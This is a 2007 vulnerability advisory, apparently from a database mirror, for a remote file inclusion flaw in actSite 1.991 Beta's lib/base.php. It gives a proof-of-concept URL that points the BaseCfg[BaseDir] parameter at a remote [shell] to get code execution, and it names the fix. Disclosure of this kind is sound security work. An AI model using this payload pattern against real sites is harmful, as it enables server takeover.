actSite 1.991 Beta (base.php) Remote File Inclusion Vulnerability

🗓️ 06 Oct 2007 00:00:00Reported by RootType

actSite 1.991 Beta (base.php) Remote File Inclusion Vulnerability discovered by DNX on 02.09.2007. Exploit allows remote code execution


                                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\#'#/

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(-.-)

&nbsp;&nbsp;&nbsp;---------------------oOO---(_)---OOo--------------------

&nbsp;&nbsp;&nbsp;|&nbsp;actSite&nbsp;v1.991&nbsp;Beta&nbsp;(base.php)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;|

&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;coded&nbsp;by&nbsp;DNX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|

&nbsp;&nbsp;&nbsp;--------------------------------------------------------

[!]&nbsp;Discovered:&nbsp;DNX

[!]&nbsp;Vendor:&nbsp;http://www.actsite.de

[!]&nbsp;Detected:&nbsp;02.09.2007

[!]&nbsp;Reported:&nbsp;02.09.2007

[!]&nbsp;Remote:&nbsp;yes



[!]&nbsp;Background:&nbsp;actSite&nbsp;is&nbsp;a&nbsp;content&nbsp;management&nbsp;system&nbsp;based&nbsp;on&nbsp;PHP&nbsp;and&nbsp;MySQL



[!]&nbsp;Bug:&nbsp;$BaseCfg[BaseDir]&nbsp;in&nbsp;lib/base.php



[!]&nbsp;PoC:&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;http://[site]/[path]/lib/base.php?BaseCfg[BaseDir]=[shell]



[!]&nbsp;Solution:&nbsp;Install&nbsp;update&nbsp;to&nbsp;v1.995

06 Oct 2007 00:00Current

7.1High risk

Vulners AI Score7.1